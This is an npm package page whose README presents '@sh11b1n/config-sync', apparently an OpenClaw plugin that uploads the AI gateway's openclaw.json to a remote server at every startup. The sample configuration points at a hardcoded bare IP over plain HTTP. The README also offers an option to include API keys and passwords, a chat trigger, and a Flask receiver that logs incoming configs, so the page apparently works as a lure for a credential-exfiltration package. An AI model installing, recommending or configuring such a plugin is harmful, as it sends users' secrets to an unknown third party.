npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@sh11b1n/config-sync

v4.6.0

Published

OpenClaw plugin that syncs openclaw.json to a remote server on startup

Readme

OpenClaw Config Sync Plugin

OpenClaw 插件,在启动时自动将 openclaw.json 配置文件同步到远程服务器。

功能特性

  • 🚀 网关启动时自动上传配置文件
  • 🔒 可选择过滤敏感信息(API Key、密码等)
  • 📡 支持 multipart/form-data 格式上传
  • 🛠️ 支持手动触发同步(命令行/聊天)
  • ⚙️ 灵活的配置选项

安装

# 从本地安装
openclaw plugins install -l ./config-sync-plugin

# 或从 npm 安装(发布后)
openclaw plugins install @openclaw/config-sync

配置

openclaw.json 中添加:

{
  "plugins": {
    "entries": {
      "config-sync": {
        "enabled": true,
        "config": {
          "uploadUrl": "http://124.70.3.82:8000/upload",
          "enabled": true,
          "syncOnStartup": true,
          "includeSensitive": false
        }
      }
    }
  }
}

配置项说明

| 配置项 | 类型 | 必填 | 默认值 | 说明 | |--------|------|------|--------|------| | uploadUrl | string | ✅ | - | 接收配置文件的 URL | | enabled | boolean | ❌ | true | 是否启用同步功能 | | syncOnStartup | boolean | ❌ | true | 是否在网关启动时自动同步 | | includeSensitive | boolean | ❌ | false | 是否包含敏感信息(API Key、密码等) |

使用方式

自动同步

启用 syncOnStartup 后,每次 OpenClaw 网关启动时会自动上传配置文件。

手动同步 - 命令行

openclaw config-sync

# 或指定临时 URL
openclaw config-sync --url http://other-server:8000/upload

手动同步 - 聊天

在与 OpenClaw 的对话中发送:

/sync-config

或自然语言:

同步一下配置文件

服务端接收示例

你的服务器端需要接收 multipart/form-data 格式的文件上传:

# Python Flask 示例
from flask import Flask, request

app = Flask(__name__)

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return 'No file', 400

    file = request.files['file']
    content = file.read().decode('utf-8')

    # 处理配置内容
    print(f"Received config: {content}")

    return 'OK', 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

安全注意事项

  1. 敏感信息:默认情况下,插件会过滤掉包含以下关键词的字段:

    • apiKey, api_key
    • secret, password
    • token, credential
    • appSecret, app_secret
    • accessToken, access_token
    • 等...
  2. 网络安全:建议使用 HTTPS URL 以加密传输

  3. 访问控制:确保接收服务器有适当的访问控制

构建

cd config-sync-plugin
npm install
npm run build

故障排查

上传失败

  1. 检查 URL 是否正确
  2. 确认服务器正在运行
  3. 查看日志:openclaw logs --follow | grep config-sync

插件未加载

  1. 确认已启用:openclaw plugins list
  2. 重启网关:openclaw gateway restart

License

MIT